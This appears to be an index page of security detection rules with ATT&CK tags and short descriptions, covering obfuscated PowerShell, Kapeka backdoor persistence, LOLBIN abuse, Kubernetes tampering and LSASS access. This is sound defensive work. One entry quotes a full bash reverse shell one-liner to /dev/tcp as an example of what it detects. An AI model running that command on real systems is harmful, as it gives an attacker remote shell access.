Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Read More
Invoke-Obfuscation CLIP+ Launcher - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Read More
Invoke-Obfuscation CLIP+ Launcher - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Read More
Invoke-Obfuscation CLIP+ Launcher - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Read More
Invoke-Obfuscation CLIP+ Launcher - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Clip.exe to execute PowerShell

Read More
Invoke-Obfuscation COMPRESS OBFUSCATION

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Read More
Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Read More
Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Read More
Invoke-Obfuscation COMPRESS OBFUSCATION - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Read More
Invoke-Obfuscation COMPRESS OBFUSCATION - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

Read More
Invoke-Obfuscation Obfuscated IEX Invocation

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block

Read More
Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014

Read More
Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below

Read More
Invoke-Obfuscation Obfuscated IEX Invocation - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references

Read More
Invoke-Obfuscation Obfuscated IEX Invocation - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references

Read More
Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Read More
Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Read More
Invoke-Obfuscation RUNDLL LAUNCHER - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Read More
Invoke-Obfuscation RUNDLL LAUNCHER - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via RUNDLL LAUNCHER

Read More
Invoke-Obfuscation STDIN+ Launcher

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of stdin to execute PowerShell

Read More
Invoke-Obfuscation STDIN+ Launcher - Powershell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of stdin to execute PowerShell

Read More
Invoke-Obfuscation STDIN+ Launcher - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of stdin to execute PowerShell

Read More
Invoke-Obfuscation STDIN+ Launcher - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of stdin to execute PowerShell

Read More
Invoke-Obfuscation STDIN+ Launcher - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of stdin to execute PowerShell

Read More
Invoke-Obfuscation VAR+ Launcher

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Read More
Invoke-Obfuscation VAR+ Launcher - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Read More
Invoke-Obfuscation VAR+ Launcher - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Read More
Invoke-Obfuscation VAR+ Launcher - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Read More
Invoke-Obfuscation VAR+ Launcher - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated use of Environment Variables to execute PowerShell

Read More
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Read More
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Read More
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Read More
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Read More
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via VAR++ LAUNCHER

Read More
Invoke-Obfuscation Via Stdin

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Read More
Invoke-Obfuscation Via Stdin - Powershell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Read More
Invoke-Obfuscation Via Stdin - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Read More
Invoke-Obfuscation Via Stdin - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Read More
Invoke-Obfuscation Via Stdin - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via Stdin in Scripts

Read More
Invoke-Obfuscation Via Use Clip

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Read More
Invoke-Obfuscation Via Use Clip - Powershell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Read More
Invoke-Obfuscation Via Use Clip - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Read More
Invoke-Obfuscation Via Use Clip - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Read More
Invoke-Obfuscation Via Use Clip - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Clip.exe in Scripts

Read More
Invoke-Obfuscation Via Use MSHTA

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Read More
Invoke-Obfuscation Via Use MSHTA - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Read More
Invoke-Obfuscation Via Use MSHTA - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Read More
Invoke-Obfuscation Via Use MSHTA - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Read More
Invoke-Obfuscation Via Use MSHTA - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use MSHTA in Scripts

Read More
Invoke-Obfuscation Via Use Rundll32 - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Read More
Invoke-Obfuscation Via Use Rundll32 - PowerShell Module

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Read More
Invoke-Obfuscation Via Use Rundll32 - Security

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Read More
Invoke-Obfuscation Via Use Rundll32 - System

Aug 12, 2024 · attack.defense-evasion attack.t1027 attack.execution attack.t1059.001 ·
Share on:

Detects Obfuscated Powershell via use Rundll32 in Scripts

Read More
ISO File Created Within Temp Folders

Aug 12, 2024 · attack.initial-access attack.t1566.001 ·
Share on:

Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.

Read More
ISO Image Mounted

Aug 12, 2024 · attack.initial-access attack.t1566.001 ·
Share on:

Detects the mount of an ISO image on an endpoint

Read More
ISO or Image Mount Indicator in Recent Files

Aug 12, 2024 · attack.initial-access attack.t1566.001 ·
Share on:

Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks. This can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.

Read More
JAMF MDM Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of the "jamf" binary to create user accounts and run commands. For example, the binary can be abused by attackers on the system in order to bypass security controls or remove application control polices.

Read More
JAMF MDM Potential Suspicious Child Process

Aug 12, 2024 · attack.execution ·
Share on:

Detects potential suspicious child processes of "jamf". Could be a sign of potential abuse of Jamf as a C2 server as seen by Typhon MythicAgent.

Read More
Java Payload Strings

Aug 12, 2024 · cve.2022-26134 cve.2021-26084 attack.initial-access attack.t1190 ·
Share on:

Detects possible Java payloads in web access logs

Read More
Java Running with Remote Debugging

Aug 12, 2024 · attack.t1203 attack.execution ·
Share on:

Detects a JAVA process running with remote debugging allowing more than just localhost to connect

Read More
JexBoss Command Sequence

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects suspicious command sequence that JexBoss

Read More
JNDIExploit Pattern

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects exploitation attempt using the JNDI-Exploit-Kit

Read More
JScript Compiler Execution

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

Detects the execution of the "jsc.exe" (JScript Compiler). Attacker might abuse this in order to compile JScript files on the fly and bypassing application whitelisting.

Read More
Juniper BGP Missing MD5

Aug 12, 2024 · attack.initial-access attack.persistence attack.privilege-escalation attack.defense-evasion attack.credential-access attack.collection attack.t1078 attack.t1110 attack.t1557 ·
Share on:

Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.

Read More
JXA In-memory Execution Via OSAScript

Aug 12, 2024 · attack.t1059.002 attack.t1059.007 attack.execution ·
Share on:

Detects possible malicious execution of JXA in-memory via OSAScript

Read More
Kapeka Backdoor Autorun Persistence

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects the setting of a new value in the Autorun key that is used by the Kapeka backdoor for persistence.

Read More
Kapeka Backdoor Configuration Persistence

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.t1553.003 ·
Share on:

Detects registry set activity of a value called "Seed" stored in the "\Cryptography\Providers" registry key. The Kapeka backdoor leverages this location to register a new SIP provider for backdoor configuration persistence.

Read More
Kapeka Backdoor Execution Via RunDLL32.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects Kapeka backdoor process execution pattern, where the dropper launch the backdoor binary by calling rundll32 and passing the backdoor's first export ordinal (#1) with a "-d" argument.

Read More
Kapeka Backdoor Loaded Via Rundll32.EXE

Aug 12, 2024 · attack.execution attack.t1204.002 attack.defense-evasion attack.t1218.011 ·
Share on:

Detects the Kapeka Backdoor binary being loaded by rundll32.exe. The Kapeka loader drops a backdoor, which is a DLL with the '.wll' extension masquerading as a Microsoft Word Add-In.

Read More
Kapeka Backdoor Persistence Activity

Aug 12, 2024 · attack.persistence attack.t1053.005 ·
Share on:

Detects Kapeka backdoor persistence activity. Depending on the process privileges, the Kapeka dropper then sets persistence for the backdoor either as a scheduled task (if admin or SYSTEM) or autorun registry (if not). For the scheduled task, it creates a scheduled task called "Sens Api" via schtasks command, which is set to run upon system startup as SYSTEM. To establish persistence through the autorun utility, it adds an autorun entry called "Sens Api" under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run via the "reg add" command. Both persistence mechanisms are set to launch the binary by calling rundll32 and passing the backdoor's first export ordinal (#1) without any additional argument.

Read More
Kapeka Backdoor Scheduled Task Creation

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 ·
Share on:

Detects Kapeka backdoor scheduled task creation based on attributes such as paths, commands line flags, etc.

Read More
Kavremover Dropped Binary LOLBIN Usage

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.

Read More
KDC RC4-HMAC Downgrade CVE-2022-37966

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation

Read More
Kerberos Manipulation

Aug 12, 2024 · attack.credential-access attack.t1212 ·
Share on:

Detects failed Kerberos TGT issue operation. This can be a sign of manipulations of TGT messages by an attacker.

Read More
Kerberos Network Traffic RC4 Ticket Encryption

Aug 12, 2024 · attack.credential-access attack.t1558.003 ·
Share on:

Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting

Read More
Kernel Memory Dump Via LiveKD

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects execution of LiveKD with the "-m" flag to potentially dump the kernel memory

Read More
KrbRelayUp Service Installation

Aug 12, 2024 · attack.privilege-escalation attack.t1543 ·
Share on:

Detects service creation from KrbRelayUp tool used for privilege escalation in Windows domain environments where LDAP signing is not enforced (the default settings)

Read More
Kubernetes Admission Controller Modification

Aug 12, 2024 · attack.persistence attack.t1078 attack.credential-access attack.t1552 attack.t1552.007 ·
Share on:

Detects when a modification (create, update or replace) action is taken that affects mutating or validating webhook configurations, as they can be used by an adversary to achieve persistence or exfiltrate access credentials.

Read More
Kubernetes CronJob/Job Modification

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.execution ·
Share on:

Detects when a Kubernetes CronJob or Job is created or modified. A Kubernetes Job creates one or more pods to accomplish a specific task, and a CronJob creates Jobs on a recurring schedule. An adversary can take advantage of this Kubernetes object to schedule Jobs to run containers that execute malicious code within a cluster, allowing them to achieve persistence.

Read More
Kubernetes Events Deleted

Aug 12, 2024 · attack.t1070 ·
Share on:

Detects when events are deleted in Kubernetes. An adversary may delete Kubernetes events in an attempt to evade detection.

Read More
Kubernetes Rolebinding Modification

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects when a Kubernetes Rolebinding is created or modified.

Read More
Kubernetes Secrets Enumeration

Aug 12, 2024 · attack.t1552.007 ·
Share on:

Detects enumeration of Kubernetes secrets.

Read More
Kubernetes Secrets Modified or Deleted

Aug 12, 2024 · attack.credential-access ·
Share on:

Detects when Kubernetes Secrets are Modified or Deleted.

Read More
Kubernetes Unauthorized or Unauthenticated Access

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects when a request to the Kubernetes API is rejected due to lack of authorization or due to an expired authentication token being used. This may indicate an attacker attempting to leverage credentials they have obtained.

Read More
Launch Agent/Daemon Execution Via Launchctl

Aug 12, 2024 · attack.execution attack.persistence attack.t1569.001 attack.t1543.001 attack.t1543.004 ·
Share on:

Detects the execution of programs as Launch Agents or Launch Daemons using launchctl on macOS.

Read More
Launch-VsDevShell.PS1 Proxy Execution

Aug 12, 2024 · attack.defense-evasion attack.t1216.001 ·
Share on:

Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.

Read More
Lazarus Group Activity

Aug 12, 2024 · attack.g0032 attack.execution attack.t1059 detection.emerging-threats ·
Share on:

Detects different process execution behaviors as described in various threat reports on Lazarus group activity

Read More
Lazarus System Binary Masquerading

Aug 12, 2024 · attack.defense-evasion attack.t1036.005 detection.emerging-threats ·
Share on:

Detects binaries used by the Lazarus group which use system names but are executed and launched from non-default location

Read More
Legitimate Application Dropped Archive

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects programs on a Windows system that should not write an archive to disk

Read More
Legitimate Application Dropped Executable

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects programs on a Windows system that should not write executables to disk

Read More
Legitimate Application Dropped Script

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects programs on a Windows system that should not write scripts to disk

Read More
Leviathan Registry Key Activity

Aug 12, 2024 · attack.persistence attack.t1547.001 detection.emerging-threats ·
Share on:

Detects registry key used by Leviathan APT in Malaysian focused campaign

Read More
Linux Base64 Encoded Pipe to Shell

Aug 12, 2024 · attack.defense-evasion attack.t1140 ·
Share on:

Detects suspicious process command line that uses base64 encoded input for execution with a shell

Read More
Linux Base64 Encoded Shebang In CLI

Aug 12, 2024 · attack.defense-evasion attack.t1140 ·
Share on:

Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded

Read More
Linux Capabilities Discovery

Aug 12, 2024 · attack.collection attack.privilege-escalation attack.t1123 attack.t1548 ·
Share on:

Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.

Read More
Linux Command History Tampering

Aug 12, 2024 · attack.defense-evasion attack.t1070.003 ·
Share on:

Detects commands that try to clear or tamper with the Linux command history. This technique is used by threat actors in order to evade defenses and execute commands without them being recorded in files such as "bash_history" or "zsh_history".

Read More
Linux Crypto Mining Indicators

Aug 12, 2024 · attack.impact attack.t1496 ·
Share on:

Detects command line parameters or strings often used by crypto miners

Read More
Linux Crypto Mining Pool Connections

Aug 12, 2024 · attack.impact attack.t1496 ·
Share on:

Detects process connections to a Monero crypto mining pool

Read More
Linux Doas Conf File Creation

Aug 12, 2024 · attack.privilege-escalation attack.t1548 ·
Share on:

Detects the creation of doas.conf file in linux host platform.

Read More
Linux Doas Tool Execution

Aug 12, 2024 · attack.privilege-escalation attack.t1548 ·
Share on:

Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.

Read More
Linux Keylogging with Pam.d

Aug 12, 2024 · attack.credential-access attack.t1003 attack.t1056.001 ·
Share on:

Detect attempt to enable auditing of TTY input

Read More
Linux Network Service Scanning - Auditd

Aug 12, 2024 · attack.discovery attack.t1046 ·
Share on:

Detects enumeration of local or remote network services.

Read More
Linux Package Uninstall

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·
Share on:

Detects linux package removal using builtin tools such as "yum", "apt", "apt-get" or "dpkg".

Read More
Linux Recon Indicators

Aug 12, 2024 · attack.reconnaissance attack.t1592.004 attack.credential-access attack.t1552.001 ·
Share on:

Detects events with patterns found in commands used for reconnaissance on linux systems

Read More
Linux Remote System Discovery

Aug 12, 2024 · attack.discovery attack.t1018 ·
Share on:

Detects the enumeration of other remote systems.

Read More
Linux Reverse Shell Indicator

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

Read More
Linux Shell Pipe to Shell

Aug 12, 2024 · attack.defense-evasion attack.t1140 ·
Share on:

Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell

Read More
Linux Webshell Indicators

Aug 12, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Detects suspicious sub processes of web server processes

Read More
Live Memory Dump Using Powershell

Aug 12, 2024 · attack.t1003 ·
Share on:

Detects usage of a PowerShell command to dump the live memory of a Windows machine

Read More
LiveKD Driver Creation

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation ·
Share on:

Detects the creation of the LiveKD driver, which is used for live kernel debugging

Read More
LiveKD Driver Creation By Uncommon Process

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation ·
Share on:

Detects the creation of the LiveKD driver by a process image other than "livekd.exe".

Read More
LiveKD Kernel Memory Dump File Created

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation ·
Share on:

Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.

Read More
LoadBalancer Security Group Modification

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects changes to the security groups associated with an Elastic Load Balancer (ELB) or Application Load Balancer (ALB). This can indicate that a misconfiguration allowing more traffic into the system than required, or could indicate that an attacker is attempting to enable new connections into a VPC or subnet controlled by the account.

Read More
Loaded Module Enumeration Via Tasklist.EXE

Aug 12, 2024 · attack.t1003 ·
Share on:

Detects the enumeration of a specific DLL or EXE being used by a binary via "tasklist.exe". This is often used by attackers in order to find the specific process identifier (PID) that is using the DLL in question. In order to dump the process memory or perform other nefarious actions.

Read More
Loading Diagcab Package From Remote Path

Aug 12, 2024 · attack.execution ·
Share on:

Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability

Read More
Loading of Kernel Module via Insmod

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1547.006 ·
Share on:

Detects loading of kernel modules with insmod command. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.

Read More
Local Accounts Discovery

Aug 12, 2024 · attack.discovery attack.t1033 attack.t1087.001 ·
Share on:

Local accounts, System Owner/User discovery using operating systems utilities

Read More
Local File Read Using Curl.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of "curl.exe" with the "file://" protocol handler in order to read local files.

Read More
Local Groups Discovery - Linux

Aug 12, 2024 · attack.discovery attack.t1069.001 ·
Share on:

Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings

Read More
Local Groups Discovery - MacOs

Aug 12, 2024 · attack.discovery attack.t1069.001 ·
Share on:

Detects enumeration of local system groups

Read More
Local Groups Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.discovery attack.t1069.001 ·
Share on:

Detects the execution of "wmic" with the "group" flag. Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Read More
Local Network Connection Initiated By Script Interpreter

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects a script interpreter (Wscript/Cscript) initiating a local network connection to download or execute a script hosted on a shared folder.

Read More
Local Privilege Escalation Indicator TabTip

Aug 12, 2024 · attack.execution attack.t1557.001 ·
Share on:

Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode

Read More
Local System Accounts Discovery - MacOs

Aug 12, 2024 · attack.discovery attack.t1087.001 ·
Share on:

Detects enumeration of local systeam accounts on MacOS

Read More
Local User Creation

Aug 12, 2024 · attack.persistence attack.t1136.001 ·
Share on:

Detects local user creation on Windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your Windows server logs and not on your DC logs.

Read More
Locked Workstation

Aug 12, 2024 · attack.impact ·
Share on:

Detects locked workstation session events that occur automatically after a standard period of inactivity.

Read More
LockerGoga Ransomware Activity

Aug 12, 2024 · attack.impact attack.t1486 detection.emerging-threats ·
Share on:

Detects LockerGoga ransomware activity via specific command line.

Read More
Log4j RCE CVE-2021-44228 Generic

Aug 12, 2024 · attack.initial-access attack.t1190 detection.emerging-threats ·
Share on:

Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)

Read More
Log4j RCE CVE-2021-44228 in Fields

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-44228 detection.emerging-threats ·
Share on:

Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)

Read More
Logged-On User Password Change Via Ksetup.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects password change for the logged-on user's via "ksetup.exe"

Read More
Logging Configuration Changes on Linux Host

Aug 12, 2024 · attack.defense-evasion attack.t1562.006 ·
Share on:

Detect changes of syslog daemons configuration files

Read More
Login to Disabled Account

Aug 12, 2024 · attack.initial-access attack.t1078.004 ·
Share on:

Detect failed attempts to sign in to disabled accounts.

Read More
Logon from a Risky IP Address

Aug 12, 2024 · attack.initial-access attack.t1078 ·
Share on:

Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.

Read More
LOL-Binary Copied From System Directory

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 ·
Share on:

Detects a suspicious copy operation that tries to copy a known LOLBIN from system (System32, SysWOW64, WinSxS) directories to another on disk in order to bypass detections based on locations.

Read More
LOLBAS Data Exfiltration by DataSvcUtil.exe

Aug 12, 2024 · attack.exfiltration attack.t1567 ·
Share on:

Detects when a user performs data exfiltration by using DataSvcUtil.exe

Read More
Lolbas OneDriveStandaloneUpdater.exe Proxy Download

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any anomalous executables with suspicious arguments. The downloaded file will be in C:\Users\redacted\AppData\Local\Microsoft\OneDrive\StandaloneUpdaterreSignInSettingsConfig.json

Read More
LOLBIN Execution From Abnormal Drive

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects LOLBINs executing from an abnormal or uncommon drive such as a mounted ISO.

Read More
Lolbin Runexehelper Use As Proxy

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detect usage of the "runexehelper.exe" binary as a proxy to launch other programs

Read More
Lolbin Unregmp2.exe Use As Proxy

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detect usage of the "unregmp2.exe" binary as a proxy to launch a custom version of "wmpnscfg.exe"

Read More
LSA PPL Protection Disabled Via Reg.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.010 ·
Share on:

Detects the usage of the "reg.exe" utility to disable PPL protection on the LSA process

Read More
LSASS Access Detected via Attack Surface Reduction

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects Access to LSASS Process

Read More
LSASS Access From Non System Account

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects potential mimikatz-like tools accessing LSASS from non system account

Read More
LSASS Access From Potentially White-Listed Processes

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.s0002 ·
Share on:

Detects a possible process memory dump that uses a white-listed filename like TrolleyExpress.exe as a way to dump the LSASS process memory without Microsoft Defender interference

Read More
LSASS Dump Keyword In CommandLine

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects the presence of the keywords "lsass" and ".dmp" in the commandline, which could indicate a potential attempt to dump or create a dump of the lsass process.

Read More
Lsass Full Dump Request Via DumpType Registry Settings

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

